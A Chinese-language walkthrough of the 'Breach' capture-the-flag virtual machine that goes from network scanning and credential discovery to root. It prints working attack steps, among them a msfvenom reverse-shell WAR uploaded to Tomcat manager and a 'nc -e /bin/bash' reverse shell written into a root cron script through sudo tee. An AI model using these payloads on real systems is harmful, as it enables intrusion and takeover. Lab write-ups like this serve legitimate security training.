目标

这个靶机的目标是获取root权限,然后查看flag。

环境

靶机:ubuntu 14 ,静态IP地址192.168.110.140
攻击机:kali,ip地址192.168.110.128
由于靶机是静态地址,所以我们无法使用dhcp对它进行ip配置,所以我们在这里新建一个虚拟网络将kali网段为192.168.110.0,将kali和靶机放在这个网段里即可。

开始测试

1.首先我们进行主机探测,找到目标主机

netdiscover -r 192.168.110.0/24


首先我们知道自己的ip是192.168.110.128,所以140应该就是我们的目标主机。

2.知道目标主机的ip之后我们使用nmap进行主机端口信息收集

nmap -sS -p0-65535 -A 192.168.110.140


我们发现其端口扫描出来显示大多数都是开放的,应该是有问题的,可能对端口扫描做了防护。

3.我们尝试直接访问80端口

我们看到了这个界面,我们点击图片还会跳到另一个页面

我们还可以了解到的基本信息

4.既然web服务可以访问,那我们先来扫描一下目录

dirb http://192.168.110.140


最终扫描出了两个目录,其中一个访问被限制

5.我们就从最初的页面入手,我们查看网页的源代码,发现了一串加密的字符串

经过两次解密得到如下结果,应该是一组用户名和密码

pgibbons:damnitfeel$goodtobeagang$ta

6.我们进入到initech.html页面,我们之前已经看到左边栏有四个按钮,其中第一个是回到最初的页面,第二个和第三个是图片,查看源码之后也没有什么特殊的信息,最后一个是员工登录的界面,经过我们的测试没有发现什么漏洞,这里的一个搜索的输入框将特殊字符进行了实体编码

接着我们尝试使用之前解密出来的类似于用户名密码的数据进行登录,成功登录
用户名:pgibbons
密码:damnitfeel$goodtobeagang$ta

7.到这里之后,成功登录到员工的账户,我们还得到一个信息就是这个网站的cms是imporess cms,我们去exploit-db进行相关漏洞的搜索,我们可以看到符合的有如下几个

最终经过我们的了解,在小于1.3.9的版本中存在注入漏洞,注入的目录在/modules/profile/admin/field.php,但是我们无法访问这个页面,所以无法利用这个漏洞。

8.我们继续查看发现邮箱中有三封邮件

我们依次阅读之后再第三封邮件中发现里一个链接192.168.110.140/.keystore,我们访问这个链接,发现是一个文件我们将其下载了下来,经过我们分析,这是包含SSL证书的密钥库文件。

9.我们再页面侧边栏的功能中还有一处profile存在目录浏览,但是经过我们查看无可利用的内容,最终我们在View Account中发现了一个文章

文章中提到了一个链接http://192.168.110.140/impresscms/_SSL_test_phase1.pcap ,还有storepasswordkeypassword都是tomcat

10.我们通过之前的链接下载了一个流量包文件,但是我们发现其中的流量进行了加密,不过我们之前获取了一个keystore文件,我们可以获取其证书,我们在kali中使用keytool,将我们获取的keystore放到桌面,然后使用如下命令

keytool -list -keystore keystore

之后我们输入密码,这里我们尝试使用之前文章中提到的tomcat

我们根据提示将密钥导出为PKCS12格式

keytool -importkeystore -srckeystore keystore -destkeystore tomcatkeystore.p12 -deststoretype PKCS12 -srcalias tomcat


其中三次密码都是tomcat

11.我们获取到证书之后,我们将其导入到wireshark中

这里有一点我么需要提一下,新版的wireshark中将SSL和TLS合并在TLS中,所以我们直接在TLS中添加即可。

12.我们导入到证书之后,我们可以看到加密的流量已经被解密,经过我们分析,发现ip为192.168.110.129I比较可疑,我们分析其流量包发现了其请求了页面_M@nag3Me/html,访问了cmd/cmd.jsp?cmd=id,还有两个疑似图片木马tomcat.giffavicon.ico

我们经过尝试cmd/cmd.jsp?cmd=id无法访问,不过我们访问https://192.168.110.140:8443/_M@nag3Me/html成功,访问这个页面需要证书,我们浏览器直接访问失败,不过使用burp可以解决问题

13.访问到后台页面需要我们输入账号密码,我们再流量包中找到了一个访问后台返回状态为200的请求包

我们发现这里使用了http basic认证,我们将其内容解密得到结果:tomcat:Tt\5D8F(#!*u=G)4m7zB,接着我们就可以登录到后台

14.到了tomcat的后台,我们可以看到,有一个可以上传war包的地方,这里我们可以上传一个木马,用来反弹shell,这里我们使用msf生成一个后门文件

msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.252.133 lport=8999 -f war -o shell.war
或者
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.129 lport=8999 -f war -o shell.war


我们使用第二种

15.在kali上使用msf进行监听

use multi/handler
set payload java/meterpreter/reverse_tcp
set lhost 192.168.110.128
set lport 8999
run


然后上传shell文件,并访问,再kali中,我们接收到了shell

在我们传马的过程中,我们发现服务器每隔一段时间就会删除我们上传的文件,我们使用反弹shell的方式正好逃过了删出的问题。

16.我们通过查看当前用户得知现在用户是tomcat6,我们使用cat /etc/passwd来查看用户,其中有两个用户,我们需要注意一下miltonblumbergh

17.我们接着查看一下那些程序有suid权限

find / -user root -perm -4000 -print 2>/dev/null


没有可以利用的程序,我们只能查看目录中有什么敏感信息泄露的文件,我们通过find / -name www知道了web目录在/var/www,我们进入目录查看发现5446目录下有两个php文件,我们查看内容发现是数据库的配置文件

配置文件中我们可以看出数据库的用户名是root密码是空。

18.我们进入数据库,看能不能找到特权用户的密码信息

mysql -uroot -p
show databases;
use mysql
select user,password from user;
exit


这里我们登录数据库稍等了一会才正常进入,而且我们输入查询语句好像没反应,最终我们使用exit退出数据库才显示出来。最终我们得到密码

milton:thelaststraw

19.有了密码之后我们就切换到milton用户,但是我们无法使用su命令来切换用户,这里我们使用python来返回一个shell

python -c 'import pty;pty.spawn("/bin/bash")'

然后我们切换到milton用户

我们查看了系统的版本为Linux Breach 4.2.0-27-generic,我们知道存在本地提权漏洞的在Linux Kernel 3.13.0 <3.19(Ubuntu 12.04/14.04/14.10/14.04)

接着我们查看历史命令,我们可以看到其先提权到milton用户,然后是blumbergh用户,最后是root用户,我们接下来就尝试找到blumbergh的密码

20.在milton的用户目录下我们看到了两个文件,其中一个sh文件什么显示 nothing...,还有一个图片文件,通过我们寻找我们发现一共有七个图片文件,我们将文件下载下来,让后通过strings imgname.jpg将图片中的可打印字符输出到一个文件中

最终我们找到了一个比较特殊的单词,我们使用这个单词尝试登录blumbergh

成功登录到了blumbergh用户

21.我们登录到blumbergh用户之后,我们首先查看权限sudo -l

我们从返回的信息中可以知道,我们对/usr/bin/tee/usr/share/cleanup/tidyup.shroot权限
我们转到对应的目录下查看,tidyup.sh这个文件中有说明,每过3分钟清理tomcat下的web目录中的文件,这就是我们文件被删除的原因,其命令如下:

cd /var/lib/tomcat6/webapps && find swingline -mindepth 1 -maxdepth 10 | xargs rm -rf

还有tee命令用于读取标准输入的数据,并将其内容输出成文件,我们去查看一下两个文件的权限情况


我们可以看到都是普通用户只有执行和读的权限,root用户有读写执行权限

22.我们了解我们这个用户的权限情况之后,就有了思路,首先我们可以使用tee命令向tidyup.sh文件
写入内容,由于其每3分钟会执行,所以我们可以写入一个反弹shell的命令。
首先我们执行命令写入内容

echo "nc -e /bin/bash 192.168.110.129 9998" | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh


经过我们查看写入成功,接着我们nc -lvp 9998监听,等待反弹是shell

23.我们接收到了shell,我们ls查看到有一个flair.jpg文件,我们将其下载下来查看

到这一步应该已经就结束了

思路总结

1.首先我们在页面中进行信息收集找到了员工的账号密码,这也是我们常规渗透网站时候前台没有漏洞的时候的一个突破口,正常的站点中的用户帐户密码的寻找不像本次练习中的这么简单,我们需要在网站相关的站点论坛,贴吧甚至QQ群中寻找线索。
2.我们发现其使用的CMS之后我们搜索其已经暴出的漏洞,看有没有可以利用的点,如果有就省了我们很多的力气,还有不单单是CMS其网站中使用的各种产品,插件,平台,WAF,VPN都可以根据其信息来查找漏洞,不要仅仅局限于网站本身,尽量多的信息收集,扩展我们找到漏洞的范围。
3.进入到员工系统中后,我们对员工中邮箱、文章、私信等敏感信息的内容进行查看,看能不能找到让我们深入的点。进入到员工系统后,这里的防护相对于前台应该比较薄弱,我们可以继续查找注入、上传等漏洞。我们找到了两个文件一个是SSL证书问文件,一个是流量包,我们通过keytool导出证书,在解密后的流量包中找到了后台地址,并且通过其请求成功的包找到了密码。
4.进入后台之后有一个明显的上传点,我们上传一个后门来反弹shell,进入其系统之后就是一系列提权的操作,查看自己以及其他帐户权限,查看系统版本,均没有可以利用的地方,我们只能查找有更高权限帐户的密码,这里我们可以查询mysql的配置文件得到mysql的帐户密码,然后查看是否有敏感信息

5.有了执行权限之后我们就看能够反弹root的shell,这里正好有一个定时任务,3分钟自动清理,我们利用这一点拿到了root的shall。

最后修改:2020 年 08 月 27 日
如果觉得我的文章对你有用,请随意赞赏